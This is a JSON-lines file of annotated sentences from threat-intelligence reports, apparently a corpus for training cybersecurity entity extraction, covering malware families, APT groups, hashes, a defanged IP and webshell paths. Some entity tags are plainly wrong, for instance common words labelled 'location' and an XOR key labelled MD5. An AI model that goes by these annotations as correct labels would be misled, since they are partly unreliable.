{"id":3341,"text":" Certificate Thumbprint  Valid From  Valid To  EFB70718BC00393A01694F255A28E30E9D2142A4  12:00 a.m.,  Jan. 2, 2019  11:59 p.m., Mar. 2, 2021  8CE020AA874902C532B9911A4DCA8EFFA627DC80  12:00 a.m., Sept. 6, 2018  11:59 p.m., Oct. 5, 2021   Table 3.","entities":[{"id":48951,"label":"TIME","start_offset":89,"end_offset":114},{"id":48952,"label":"TIME","start_offset":116,"end_offset":140},{"id":48954,"label":"TIME","start_offset":211,"end_offset":235},{"id":48953,"label":"TIME","start_offset":184,"end_offset":209}],"relations":[],"Comments":[]}
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{"id":10629,"text":"In November 2018, we saw evidence that Sandworm shifted from using attacker-controlled accounts to try and upload malicious apps to compromising legitimate developers.","entities":[{"id":32428,"label":"threat-actor","start_offset":39,"end_offset":47},{"id":32429,"label":"location","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]}
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{"id":1644,"text":" Using this Trojan the attacker could be generating up to 30 euros per month for over 67,000 infected mobile phones.","entities":[],"relations":[],"Comments":[]}
{"id":3887,"text":"Lastly, the document thoroughly explains how to decrease the risk of severe business degradation if affected by a ransomware attack.","entities":[],"relations":[],"Comments":[]}
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{"id":3396,"text":"BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  6a0976e5f9d07ff3d80fa2958976183758ba5fcdd4645e391614a347b4b8e64b  f0b96efe2f714e7bddf76cc90a8b8c88_se.exe  ","entities":[{"id":10254,"label":"malware","start_offset":0,"end_offset":11},{"id":10255,"label":"SHA2","start_offset":46,"end_offset":110},{"id":10256,"label":"FILEPATH","start_offset":112,"end_offset":151},{"id":49057,"label":"malware","start_offset":20,"end_offset":44}],"relations":[{"id":620,"from_id":10254,"to_id":49057,"type":"duplicate-of"},{"id":621,"from_id":10256,"to_id":10255,"type":"duplicate-of"},{"id":622,"from_id":10256,"to_id":49057,"type":"indicates"},{"id":623,"from_id":10255,"to_id":49057,"type":"indicates"}],"Comments":[]}
{"id":10048,"text":"The file tree initially showed folder c from dota2[.]tar[.]gz file to be empty.","entities":[],"relations":[],"Comments":[]}
{"id":4297,"text":"Everything from endpoints to network software to IoT devices should be patched and updated to prevent or minimize the chance of a threat actor exploiting a vulnerability  In an ideal scenario, an organization\u2019s in-house security team implement all of these and other security measures.","entities":[],"relations":[],"Comments":[]}
{"id":14284,"text":"In the first launch of Virtual Girlfriend, the malicious app will use a combination of the Unix timestamp, the device\u2019s Bluetooth adapter name, and the name of user\u2019s Twitter account as device identification name: Timestamp_BTAdapterName_TwitterAccount.","entities":[{"id":48497,"label":"malware","start_offset":23,"end_offset":41}],"relations":[],"Comments":[]}
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{"id":4569,"text":"We assess this actor is a former initial ransomware access broker who previously worked with the Conti ransomware group distributing the IcedID banking trojan based on overlaps in infrastructure, tools used in previous campaigns, and a unique cryptor.","entities":[{"id":50405,"label":"threat-actor","start_offset":97,"end_offset":102},{"id":50406,"label":"malware","start_offset":137,"end_offset":158}],"relations":[{"id":961,"from_id":50405,"to_id":50406,"type":"uses"}],"Comments":[]}
{"id":1530,"text":"   This vulnerability exists within the Microsoft Windows Domain Name System (DNS) Server due to the improper handling of certain types of requests, specifically over port 53\/TCP.","entities":[{"id":45039,"label":"SOFTWARE","start_offset":40,"end_offset":82},{"id":4560,"label":"identity","start_offset":40,"end_offset":49}],"relations":[],"Comments":[]}
{"id":2413,"text":" The Spring Core (spring-core) is the core of the framework that provides powerful features such as inversion of control and dependency injection.","entities":[{"id":47491,"label":"SOFTWARE","start_offset":5,"end_offset":16}],"relations":[],"Comments":[]}
{"id":5283,"text":" We have reached out to Asus regarding our investigation, and they have created a security bulletin that includes a security checklist to help prevent Cyclops Blink attacks, as well as a list of affected Asus products.","entities":[{"id":51330,"label":"malware","start_offset":151,"end_offset":164},{"id":51331,"label":"identity","start_offset":204,"end_offset":208}],"relations":[],"Comments":[]}
{"id":10575,"text":"The chart below details the Russian threat actor group SANDWORM\u2019s targeting efforts (by sector) over the last three years.","entities":[],"relations":[],"Comments":[]}
{"id":3592,"text":" Figure 8.","entities":[],"relations":[],"Comments":[]}
{"id":8657,"text":"During our investigation we discovered several documents uploaded to VirusTotal.","entities":[],"relations":[],"Comments":[]}
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{"id":189,"text":" Consistent with our previous reporting on the topic, several western governments have issued recommendations for their populations to prepare for cyberattacks that could disrupt, disable or destroy critical infrastructure.","entities":[{"id":45858,"label":"identity","start_offset":62,"end_offset":81}],"relations":[],"Comments":[]}
{"id":14133,"text":"All the plots are located in UTC+9.","entities":[{"id":48196,"label":"TIME","start_offset":29,"end_offset":34}],"relations":[],"Comments":[]}
{"id":2191,"text":"The following two unique file names were involved in the attack.","entities":[],"relations":[],"Comments":[]}
{"id":4906,"text":"This is because if the malicious file is not detected when executed, there are less artifacts on an infected host and therefore security products fail to notify the user of a past compromise.","entities":[],"relations":[],"Comments":[]}
{"id":4287,"text":"Defending against Confucius and Patchwork Threat actors like Confucius and Patchwork are known for their large arsenal of tools and ever-evolving techniques that can render traditional security solutions \u2014 which are often not designed to handle the persistent and sophisticated threats detailed in this blog \u2014 ineffective.","entities":[{"id":50089,"label":"threat-actor","start_offset":18,"end_offset":27},{"id":50090,"label":"threat-actor","start_offset":32,"end_offset":41},{"id":50091,"label":"threat-actor","start_offset":61,"end_offset":70},{"id":50092,"label":"threat-actor","start_offset":75,"end_offset":84}],"relations":[],"Comments":[]}
{"id":3548,"text":"At the endpoint level, the Trend Micro\u2122 Smart Protection Suites deliver several capabilities that minimize the impact of attacks.","entities":[{"id":49330,"label":"identity","start_offset":27,"end_offset":38}],"relations":[],"Comments":[]}
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{"id":13859,"text":"To keep supplies intact for essential services, the US government has issued advisories against hoarding.","entities":[],"relations":[],"Comments":[]}
{"id":9417,"text":" We discuss the full technical details of Earth Berberoka\u2019s malware families aimed at Linux and macOS as well as Windows, infection vectors, targets, and possible connections with other APT groups in our research paper \u201cOperation Earth Berberoka: An Analysis of a Multivector and Multiplatform APT Campaign Targeting Online Gambling Sites.\u201d Technical analysis","entities":[{"id":28985,"label":"threat-actor","start_offset":42,"end_offset":57},{"id":28986,"label":"location","start_offset":92,"end_offset":95},{"id":28987,"label":"location","start_offset":150,"end_offset":153},{"id":28988,"label":"location","start_offset":186,"end_offset":189},{"id":28989,"label":"threat-actor","start_offset":230,"end_offset":245},{"id":28990,"label":"location","start_offset":276,"end_offset":279},{"id":28991,"label":"location","start_offset":294,"end_offset":297},{"id":28992,"label":"location","start_offset":298,"end_offset":306},{"id":28993,"label":"location","start_offset":333,"end_offset":338}],"relations":[],"Comments":[]}
{"id":4167,"text":"After analyzing the ChiserClient, we found that it shares a similar style of network configuration to the TClient mentioned in our previous research on Earth Centaur.","entities":[{"id":12514,"label":"malware","start_offset":20,"end_offset":32},{"id":12515,"label":"malware","start_offset":106,"end_offset":113},{"id":49972,"label":"threat-actor","start_offset":152,"end_offset":166}],"relations":[{"id":895,"from_id":12515,"to_id":49972,"type":"authored-by"},{"id":896,"from_id":12514,"to_id":49972,"type":"authored-by"}],"Comments":[]}
{"id":2977,"text":"This is where a password manager can help.","entities":[],"relations":[],"Comments":[]}
{"id":6028,"text":"The earliest evidence we have of this exploit kit being actively deployed is January 4, 2022.","entities":[],"relations":[],"Comments":[]}
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{"id":1043,"text":" The following are our suggestions for discovering and mitigating risks associated with this activity:  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
{"id":10287,"text":"Eventually, the threat actor added improvements to the malware, like encryption.","entities":[],"relations":[],"Comments":[]}
{"id":3456,"text":"In 2016, for instance, we found their campaigns attacking Japanese organizations with various malware tools, notably the Elirks backdoor.","entities":[{"id":49240,"label":"TIME","start_offset":3,"end_offset":7},{"id":49241,"label":"malware","start_offset":121,"end_offset":127}],"relations":[],"Comments":[]}
{"id":11112,"text":"Shortly after the U.S. Treasury sanctioned Ukrainian Parliament member Andrii Derkach for attempting to influence the U.S. electoral process, we removed 14 Google accounts that were linked to him.","entities":[],"relations":[],"Comments":[]}
{"id":1059,"text":"Figure 1: Bogus patch installer overlying malware requesting administrative permissions  ","entities":[],"relations":[],"Comments":[]}
{"id":13121,"text":"For many, it was the pandemic that pushed them over a technology tipping point.","entities":[],"relations":[],"Comments":[]}
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{"id":13493,"text":"Of course, financial gain remains a powerful cybercrime motivation \u2014 perhaps even the most common one.","entities":[],"relations":[],"Comments":[]}
{"id":750,"text":"It allocates a dedicated heap for select critical objects to use that is separate from other heaps that a user can directly access.","entities":[],"relations":[],"Comments":[]}
{"id":2480,"text":"The requests above were sent from the IP address \u200b\u200b194.31.98[.]186, which itself has hosted payloads associated with Mirai as well.","entities":[{"id":47555,"label":"IPV4","start_offset":51,"end_offset":66},{"id":47556,"label":"malware","start_offset":117,"end_offset":122}],"relations":[],"Comments":[]}
{"id":794,"text":"Could it be game over for use-after-free exploitation, or it is just the beginning of another cat and mouse game?","entities":[],"relations":[],"Comments":[]}
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{"id":10792,"text":"Although some antivirus vendors detect the identified malicious sample as Bahamut, we doubted the accuracy of this attribution to the Bahamut APT group.","entities":[{"id":33001,"label":"location","start_offset":64,"end_offset":70},{"id":33002,"label":"threat-actor","start_offset":74,"end_offset":81},{"id":33003,"label":"malware","start_offset":134,"end_offset":141},{"id":33004,"label":"location","start_offset":142,"end_offset":145}],"relations":[],"Comments":[]}
{"id":2243,"text":"A default salt of \u2018FFFFFFFF\u2019 is used.","entities":[],"relations":[],"Comments":[]}
{"id":2107,"text":"Microsoft aims to enforce using the patch only on or after May 11, 2021.","entities":[{"id":47242,"label":"identity","start_offset":0,"end_offset":9},{"id":47243,"label":"TIME","start_offset":59,"end_offset":71}],"relations":[],"Comments":[]}
{"id":1261,"text":"Sysget communicates with this server using the HTTP protocol; see the Malware Details section for specifics of the command and control traffic.","entities":[{"id":46636,"label":"malware","start_offset":0,"end_offset":6}],"relations":[],"Comments":[]}
{"id":9974,"text":" Technical analysis","entities":[],"relations":[],"Comments":[]}
{"id":1400,"text":"At 06:47 PST on May 20 Palo Alto Networks WildFire detected the start of the latest Kuluoz spam campaign.","entities":[{"id":4212,"label":"SOFTWARE","start_offset":42,"end_offset":50},{"id":46747,"label":"TIME","start_offset":3,"end_offset":22},{"id":46748,"label":"identity","start_offset":23,"end_offset":41},{"id":46749,"label":"campaign","start_offset":84,"end_offset":104}],"relations":[],"Comments":[]}
{"id":2127,"text":" Threat Environment Information","entities":[],"relations":[],"Comments":[]}
{"id":13448,"text":"These phishing domains have been blocked through Google Safe Browsing \u2013 a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.","entities":[{"id":41868,"label":"attack-pattern","start_offset":6,"end_offset":14},{"id":41870,"label":"location","start_offset":129,"end_offset":132},{"id":41871,"label":"location","start_offset":148,"end_offset":151}],"relations":[],"Comments":[]}
{"id":7456,"text":"The blue boxes indicate when Pawn Storm used OAuth lures while red boxes indicate other phishing email strategies OAuth enhances the user experience on the web.","entities":[{"id":23177,"label":"location","start_offset":4,"end_offset":8},{"id":23179,"label":"attack-pattern","start_offset":88,"end_offset":96}],"relations":[],"Comments":[]}
{"id":4646,"text":"In the version tested, the C2 was unobfuscated and stored as a hardcoded string.","entities":[],"relations":[],"Comments":[]}
{"id":2330,"text":"Once we had all of the strings decoded, it was time to figure out what capabilities the binary had.","entities":[],"relations":[],"Comments":[]}
{"id":7582,"text":"Figure 7.","entities":[],"relations":[],"Comments":[]}
{"id":6303,"text":"Additionally, pivoting on the certificate and other artifacts, we identified a total of 41 malicious IP addresses, nine BRc4 samples, and an additional three organizations across North and South America who have been impacted by this tool so far.","entities":[{"id":19542,"label":"location","start_offset":42,"end_offset":45},{"id":19545,"label":"tools","start_offset":120,"end_offset":124},{"id":19546,"label":"location","start_offset":134,"end_offset":137},{"id":19549,"label":"location","start_offset":234,"end_offset":238}],"relations":[],"Comments":[]}
{"id":11700,"text":"     Figure 11.","entities":[],"relations":[],"Comments":[]}
{"id":5216,"text":"This new network-reflection vulnerability that we found is not the only instance of a specification-level vulnerability.","entities":[],"relations":[],"Comments":[]}
{"id":14036,"text":"In these cases, the compiler includes a path to the source code file along with those \u201cassert()\u201d calls.","entities":[],"relations":[],"Comments":[]}
{"id":688,"text":"Figure 3.","entities":[],"relations":[],"Comments":[]}
{"id":4739,"text":"These vendors operate with deep technical expertise to develop and operationalize exploits.","entities":[],"relations":[],"Comments":[]}
{"id":8733,"text":"If you have communicated with any of these accounts or visited the actors\u2019 blog, we suggest you review your systems for the IOCs provided below.","entities":[],"relations":[],"Comments":[]}
{"id":4651,"text":"The tool accepts arguments from the command line such as the mode of operation, an identifier string, and a path string to a valid cookie file.","entities":[],"relations":[],"Comments":[]}
{"id":13934,"text":" Ransomware actors are no longer content with simply locking companies out of their computers and asking for ransom.","entities":[],"relations":[],"Comments":[]}
{"id":1018,"text":"This type of account access was the most expensive and least flexible in terms of customization (i.e., username, institution, etc.).","entities":[],"relations":[],"Comments":[]}
{"id":13313,"text":"Disable or secure the use of system administration tools such as PowerShell and other command-line tools that may be abused.","entities":[{"id":41438,"label":"attack-pattern","start_offset":65,"end_offset":75},{"id":41439,"label":"location","start_offset":76,"end_offset":79},{"id":41440,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
{"id":5012,"text":"Similar to other reports, we have also observed threat actors increasingly target critical infrastructure entities including oil and gas, telecommunications and manufacturing.","entities":[],"relations":[],"Comments":[]}
{"id":13803,"text":"The purpose of hooking \u201cZwOpenProcess\u201d is to protect the specific process from being accessed by the security product.","entities":[{"id":42838,"label":"attack-pattern","start_offset":15,"end_offset":22}],"relations":[],"Comments":[]}
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{"id":1713,"text":"In the past few weeks we've seen another anonymity network, I2P, being abused by both the latest version of CryptoWall (3.0) and the Dyre banking Trojan.","entities":[{"id":45100,"label":"malware","start_offset":108,"end_offset":124},{"id":45101,"label":"malware","start_offset":133,"end_offset":152},{"id":45102,"label":"SOFTWARE","start_offset":60,"end_offset":63},{"id":5088,"label":"malware","start_offset":108,"end_offset":118}],"relations":[],"Comments":[]}
{"id":6304,"text":" This unique sample was packaged in a manner consistent with known APT29 techniques and their recent campaigns, which leveraged well-known cloud storage and online collaboration applications.","entities":[{"id":19550,"label":"location","start_offset":13,"end_offset":19},{"id":19551,"label":"threat-actor","start_offset":67,"end_offset":72},{"id":19552,"label":"location","start_offset":84,"end_offset":87},{"id":19553,"label":"location","start_offset":139,"end_offset":144},{"id":19554,"label":"location","start_offset":153,"end_offset":156}],"relations":[],"Comments":[]}
{"id":2773,"text":" By comparison, Ethereum has gone from US $8.15 per ether on January 2, 2017 to US $342.83 per ether on October 16, 2017: a jump of 4,206%.  Cryptocurrencies are big money these days and seemingly getting bigger by the day.  And if we\u2019ve learned one thing about cybercriminals, they follow the money.","entities":[{"id":48001,"label":"TIME","start_offset":61,"end_offset":76},{"id":48002,"label":"TIME","start_offset":104,"end_offset":120},{"id":48003,"label":"SOFTWARE","start_offset":16,"end_offset":24}],"relations":[],"Comments":[]}
{"id":4095,"text":"The first check-in request to the Dropbox C&C     After the check-in request, the backdoor will start to wait for more commands to come in.","entities":[],"relations":[],"Comments":[]}
{"id":489,"text":"The vulnerability affects the Toast feature on Android devices, an Android feature that allows display messages and notifications of other applications to \u201cpop up,\u201d and allows an attacker to employ an overlay attack.","entities":[{"id":45791,"label":"SOFTWARE","start_offset":47,"end_offset":54},{"id":45792,"label":"SOFTWARE","start_offset":67,"end_offset":74}],"relations":[],"Comments":[]}
{"id":7584,"text":"TA505, for instance, abuses NSIS to install ServHelper.","entities":[{"id":23644,"label":"malware","start_offset":28,"end_offset":32}],"relations":[],"Comments":[]}
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{"id":2700,"text":"The same Russian blogger previously published interviews with a representative of the group behind the REvil ransomware-as-a-service (RaaS), hackers and security experts.","entities":[{"id":47938,"label":"threat-actor","start_offset":103,"end_offset":108}],"relations":[],"Comments":[]}
{"id":4308,"text":"Introduction","entities":[],"relations":[],"Comments":[]}
{"id":5236,"text":"It can spy on the victim through apps installed on the device, a list of which is in its configuration file that can be updated.","entities":[],"relations":[],"Comments":[]}
{"id":14395,"text":"In these posts here and here we talk about what XDR is and how it brings in more sources, such as network data.","entities":[{"id":51775,"label":"SOFTWARE","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]}
{"id":14264,"text":"Multiple Twitter handles were found promoting the adult game called Virtual Girlfriend and sharing the malicious domain via short links.","entities":[{"id":48478,"label":"SOFTWARE","start_offset":9,"end_offset":17}],"relations":[],"Comments":[]}
{"id":14242,"text":"Timeline of the Campaign","entities":[],"relations":[],"Comments":[]}
{"id":13646,"text":"The threat actor behind this campaign is interesting for several reasons.","entities":[],"relations":[],"Comments":[]}
{"id":765,"text":"Microsoft stores the to-be-freed blocks in a structure called st_ProtecFreeManageHeap.","entities":[{"id":44856,"label":"identity","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]}
{"id":4267,"text":"That report also mentioned InPage software targeting and Delphi backdoors.","entities":[],"relations":[],"Comments":[]}
{"id":10432,"text":" Thankfully Kaseya acted extremely quickly advising all Kaseya VSA on-premises users to shut down their servers until further instructions.","entities":[],"relations":[],"Comments":[]}
{"id":14266,"text":"Infection chain of Maikspy Android variant","entities":[{"id":48482,"label":"malware","start_offset":19,"end_offset":27},{"id":48483,"label":"SOFTWARE","start_offset":27,"end_offset":35}],"relations":[],"Comments":[]}
{"id":243,"text":"We show some examples in Figure 11.","entities":[],"relations":[],"Comments":[]}
{"id":4001,"text":"Under the Presidential Policy Directive (PPD) 41, the agency, together with the Federal Bureau of Investigation (FBI), and the Office of the Director of National Intelligence (ODNI), formed a Cyber Unified Coordination Group (UCG).","entities":[{"id":49859,"label":"identity","start_offset":192,"end_offset":230},{"id":49857,"label":"identity","start_offset":80,"end_offset":117},{"id":49858,"label":"identity","start_offset":127,"end_offset":181}],"relations":[],"Comments":[]}
{"id":4909,"text":"Open source malware like Sorano and AdamantiumThief were also observed.","entities":[{"id":50935,"label":"malware","start_offset":25,"end_offset":31},{"id":50936,"label":"malware","start_offset":36,"end_offset":51}],"relations":[],"Comments":[]}
{"id":2348,"text":"It still worked.","entities":[],"relations":[],"Comments":[]}
{"id":1810,"text":"The PowerShell downloads, installs, and allows the remote desktop tool AnyDeskMSI through the firewall.","entities":[{"id":46930,"label":"tools","start_offset":4,"end_offset":14},{"id":46931,"label":"tools","start_offset":71,"end_offset":81}],"relations":[{"id":262,"from_id":46930,"to_id":46931,"type":"downloads"}],"Comments":[]}
{"id":4188,"text":"System Services: Service Execution Persistence T1543.003","entities":[{"id":49990,"label":"attack-pattern","start_offset":17,"end_offset":56}],"relations":[],"Comments":[]}
{"id":7625,"text":"Figure 16.","entities":[],"relations":[],"Comments":[]}
{"id":11059,"text":"We terminated 22 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Indonesia.","entities":[],"relations":[],"Comments":[]}
{"id":8888,"text":"Whenever a tool is used, the attacker deletes it from the disk as soon as it has done its purpose \u2013 which usually does not last for more than 15 minutes.","entities":[{"id":27483,"label":"location","start_offset":11,"end_offset":15},{"id":27484,"label":"TIME","start_offset":132,"end_offset":152}],"relations":[],"Comments":[]}
{"id":1934,"text":"This may even suggest that a single development team may be behind this attack \u2014 maybe a single paid group that has sold its tools and services to other groups with different goals and targets.","entities":[],"relations":[],"Comments":[]}
{"id":10527,"text":"We will also continue to share more detailed analysis of vulnerabilities we find, phishing and malware campaigns that we see, and other interesting or noteworthy trends across this space.","entities":[{"id":32053,"label":"location","start_offset":3,"end_offset":7},{"id":32054,"label":"attack-pattern","start_offset":82,"end_offset":90},{"id":32055,"label":"location","start_offset":91,"end_offset":94},{"id":32056,"label":"location","start_offset":126,"end_offset":129}],"relations":[],"Comments":[]}
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{"id":11995,"text":"We terminated 5 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
{"id":2173,"text":" Next-Generation Firewalls (PA-Series, VM-Series and CN-Series) or Prisma Access with a Threat Prevention security subscription can automatically block sessions related to this vulnerability using Threat ID 92623 (Application and Threat content update 8575).  WildFire and Cortex XDR categorize all known samples we\u2019ve come across as malware.","entities":[{"id":47307,"label":"SOFTWARE","start_offset":67,"end_offset":105},{"id":47308,"label":"SOFTWARE","start_offset":260,"end_offset":268},{"id":47309,"label":"SOFTWARE","start_offset":273,"end_offset":283}],"relations":[],"Comments":[]}
{"id":3679,"text":"On the other hand, FIN7 takes advantage of Mshta, a utility that can execute VBScript, and scheduled tasks to run malicious code on user systems.","entities":[{"id":49473,"label":"threat-actor","start_offset":19,"end_offset":23},{"id":49474,"label":"tools","start_offset":43,"end_offset":48},{"id":49475,"label":"attack-pattern","start_offset":110,"end_offset":128}],"relations":[],"Comments":[]}
{"id":1263,"text":"(Figure 2)","entities":[],"relations":[],"Comments":[]}
{"id":3745,"text":"Publication of CISA Alert.","entities":[{"id":49569,"label":"identity","start_offset":15,"end_offset":19}],"relations":[],"Comments":[]}
{"id":1245,"text":"Also, developers need to be aware that SMS cannot meet security requirements (e.g. authentication) during the payment transactions.","entities":[],"relations":[],"Comments":[]}
{"id":13607,"text":"These libraries will be sideloaded when the legitimate executable gets executed.","entities":[],"relations":[],"Comments":[]}
{"id":7909,"text":"It could be there is a shift from ransomware due to a declining return on investment because people no longer willing to pay ransom in the wake of WannaCry\/ WanaCrypt0r, and Petya\/NotPetya.","entities":[{"id":24502,"label":"location","start_offset":125,"end_offset":131},{"id":24503,"label":"location","start_offset":139,"end_offset":143},{"id":24504,"label":"malware","start_offset":157,"end_offset":168},{"id":24505,"label":"location","start_offset":170,"end_offset":173},{"id":24506,"label":"malware","start_offset":174,"end_offset":179},{"id":24507,"label":"malware","start_offset":180,"end_offset":188}],"relations":[],"Comments":[]}
{"id":9365,"text":" Figure 5.","entities":[],"relations":[],"Comments":[]}
{"id":6762,"text":"The report also described Gamaredon\u2019s political beginnings, particularly its ties to the Ukrainian revolution in 2014.","entities":[],"relations":[],"Comments":[]}
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{"id":2136,"text":"All organizations running vulnerable versions of Apache Struts should deploy the security updates as soon as possible.","entities":[{"id":45399,"label":"SOFTWARE","start_offset":49,"end_offset":62}],"relations":[],"Comments":[]}
{"id":13035,"text":"Recently observed Ghostwriter credential phishing domains:","entities":[{"id":48875,"label":"threat-actor","start_offset":18,"end_offset":30},{"id":40655,"label":"attack-pattern","start_offset":41,"end_offset":49}],"relations":[],"Comments":[]}
{"id":2297,"text":"To protect our users, TAG routinely hunts for 0-day vulnerabilities exploited in-the-wild.","entities":[{"id":47363,"label":"identity","start_offset":22,"end_offset":25}],"relations":[],"Comments":[]}
{"id":3008,"text":"Similar to home entertainment devices, gaming consoles have both the security of the actual device and then the security of the cloud-based accounts to deal with.","entities":[],"relations":[],"Comments":[]}
{"id":2565,"text":" This also helps to set context for how widely Disttrack can attempt to spread: 844 systems, each attempting to spread to 256, means that from one distribution server, Shamoon 2 attackers could potentially try to spread Disttrack to 216,064 systems; and that\u2019s not counting if any of those infected systems, in turn, attempts to spread to an additional 256 systems.","entities":[{"id":45593,"label":"threat-actor","start_offset":168,"end_offset":177},{"id":45594,"label":"malware","start_offset":47,"end_offset":56},{"id":45595,"label":"malware","start_offset":220,"end_offset":229}],"relations":[],"Comments":[]}
{"id":13334,"text":"The attack chain of ransomware incidents in Taiwan","entities":[],"relations":[],"Comments":[]}
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{"id":7567,"text":"The first stage payload is an MSI Installer that was created using an EXE to MSI converter.","entities":[],"relations":[],"Comments":[]}
{"id":179,"text":"Because of that, from a risk assessment point of view, ransomware needs to be put in a class by itself \u2013 a class that acknowledges that the risks from a successful attack of any kind are very high.","entities":[],"relations":[],"Comments":[]}
{"id":2395,"text":"Interestingly, the new malware tools involved in Earth Baku\u2019s new campaign indicates that the APT group has likely recruited members who specialize in low-level programming, software development, and red-team techniques.","entities":[{"id":47463,"label":"threat-actor","start_offset":49,"end_offset":59}],"relations":[],"Comments":[]}
{"id":5337,"text":"For example:   Packet length Target module Command Data (victim's IPv4 address) 00 00 00 0a 00 07 c0 a8 00 01","entities":[],"relations":[],"Comments":[]}
{"id":738,"text":"Customers of Prisma Cloud have the ability to create alerts to detect vulnerabilities.","entities":[{"id":44852,"label":"SOFTWARE","start_offset":13,"end_offset":25}],"relations":[],"Comments":[]}
{"id":11789,"text":"Users were instructed to activate an invitation to a (fake) webinar by logging in.","entities":[],"relations":[],"Comments":[]}
{"id":5387,"text":"  The botnet of Cyclops Blink has been around for some time.","entities":[{"id":51381,"label":"malware","start_offset":16,"end_offset":29}],"relations":[],"Comments":[]}
{"id":12423,"text":"Within the Visual Studio Project would be source code for exploiting the vulnerability, as well as an additional DLL that would be executed through Visual Studio Build Events.","entities":[{"id":38622,"label":"attack-pattern","start_offset":42,"end_offset":48}],"relations":[],"Comments":[]}
{"id":4531,"text":" We believe it is time for government, industry and civil society to come together to change the incentive structure which has allowed these technologies to spread in secret.","entities":[],"relations":[],"Comments":[]}
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{"id":11625,"text":"CloudFormation now handles the details of automating that implementation, reducing the knowledge needed about the underlying mechanisms to automate that resource deployment.","entities":[],"relations":[],"Comments":[]}
{"id":3288,"text":" The malware will then upload the screenshot files to cloud storage.","entities":[],"relations":[],"Comments":[]}
{"id":2077,"text":"We also noticed this threat actor leveraging the use of other sandboxes besides Cuckoo \u2013 such as ANY.RUN and Hybrid Analysis \u2013 to test out verdicts and tooling, alongside the use of various virtual machines.","entities":[{"id":47164,"label":"tools","start_offset":80,"end_offset":86},{"id":47162,"label":"SOFTWARE","start_offset":97,"end_offset":104},{"id":47163,"label":"SOFTWARE","start_offset":109,"end_offset":124}],"relations":[],"Comments":[]}
{"id":8914,"text":"HyperBro is a malware family used by Iron Tiger (also known as Emissary Panda, APT27, Bronze Union, and Luckymouse), an advanced persistent threat (APT) group that has been performing cyberespionage for almost a decade, and there have been no reports of this group associated with a tool for Mac operating systems (OS).","entities":[{"id":27553,"label":"malware","start_offset":0,"end_offset":8},{"id":27554,"label":"threat-actor","start_offset":37,"end_offset":47},{"id":27555,"label":"threat-actor","start_offset":63,"end_offset":77},{"id":27556,"label":"threat-actor","start_offset":79,"end_offset":84},{"id":27557,"label":"threat-actor","start_offset":86,"end_offset":98},{"id":27558,"label":"location","start_offset":100,"end_offset":103},{"id":27559,"label":"threat-actor","start_offset":104,"end_offset":114},{"id":27560,"label":"location","start_offset":148,"end_offset":151},{"id":27562,"label":"location","start_offset":220,"end_offset":223},{"id":27563,"label":"location","start_offset":283,"end_offset":287}],"relations":[],"Comments":[]}
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{"id":11775,"text":"Our recommendations: Additional resources: Avoid & Report Phishing Emails.","entities":[{"id":36306,"label":"attack-pattern","start_offset":58,"end_offset":66}],"relations":[],"Comments":[]}
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{"id":2488,"text":"The signature triggered on the creation of the webshell files, of which we observed the following file written:  \/usr\/local\/tomcat\/work\/Catalina\/localhost\/ROOT\/org\/apache\/jsp\/shell_jsp.java \/usr\/local\/tomcat\/webapps\/ROOT\/shell_.jsp  SpringShell is officially assigned CVE-2022-22965, and the patch was released on March 31, 2022.","entities":[{"id":47567,"label":"FILEPATH","start_offset":190,"end_offset":231},{"id":47568,"label":"vulnerability","start_offset":268,"end_offset":282},{"id":47570,"label":"vulnerability","start_offset":233,"end_offset":244},{"id":47566,"label":"FILEPATH","start_offset":113,"end_offset":189},{"id":47569,"label":"TIME","start_offset":314,"end_offset":328},{"id":47571,"label":"attack-pattern","start_offset":47,"end_offset":55}],"relations":[{"id":337,"from_id":47570,"to_id":47568,"type":"related-to"},{"id":339,"from_id":47570,"to_id":47567,"type":"consists-of"},{"id":340,"from_id":47570,"to_id":47566,"type":"consists-of"}],"Comments":[]}
{"id":2523,"text":"Most of these actors use the same methods of access found in many ransomware attacks, such as phishing emails and exploiting unprotected internet-facing applications, the lack of multi-factor authentication (MFA), as well as the typical avenues used to preserve and enhance access once it\u2019s achieved, such as through the use of Cobalt Strike or PowerShell.","entities":[{"id":47719,"label":"attack-pattern","start_offset":171,"end_offset":212},{"id":47717,"label":"attack-pattern","start_offset":94,"end_offset":109},{"id":47718,"label":"attack-pattern","start_offset":114,"end_offset":165},{"id":47720,"label":"tools","start_offset":328,"end_offset":341},{"id":47721,"label":"tools","start_offset":345,"end_offset":355}],"relations":[],"Comments":[]}
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{"id":8545,"text":"On account-trading markets, hijacked channels ranged from $3 USD to $4,000 USD depending on the number of subscribers.","entities":[],"relations":[],"Comments":[]}
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{"id":2846,"text":"A successful attack against this vulnerability will infect the target system with the WanaCrypt0r ransomware, which will encrypt data on the target system and attempt to spread itself once again.","entities":[{"id":48050,"label":"malware","start_offset":86,"end_offset":97}],"relations":[],"Comments":[]}
{"id":7645,"text":" Figure 18. VBA macro with heavy obfuscation","entities":[],"relations":[],"Comments":[]}
{"id":6183,"text":"However, these emails don\u2019t look like phishing emails and seemed more like real email sent from normal users within the same organization.","entities":[{"id":19113,"label":"attack-pattern","start_offset":38,"end_offset":46},{"id":19114,"label":"location","start_offset":54,"end_offset":57},{"id":19115,"label":"location","start_offset":75,"end_offset":79},{"id":19116,"label":"location","start_offset":96,"end_offset":102},{"id":19117,"label":"location","start_offset":120,"end_offset":124}],"relations":[],"Comments":[]}
{"id":7713,"text":"Screenshot of decompiled script from the .ISO file with a .NET downloader embedded in the e-ticket.","entities":[],"relations":[],"Comments":[]}
{"id":13932,"text":"Ransomware is an old but persistently evolving threat.","entities":[],"relations":[],"Comments":[]}
{"id":9512,"text":"This malware and PuppetLoader both use the same XOR key (2726c6aea9970bb95211304705b5f595) that is used to decrypt the embedded Loader.dll file.","entities":[{"id":29185,"label":"location","start_offset":13,"end_offset":16},{"id":29187,"label":"location","start_offset":43,"end_offset":47},{"id":29188,"label":"MD5","start_offset":57,"end_offset":89}],"relations":[],"Comments":[]}
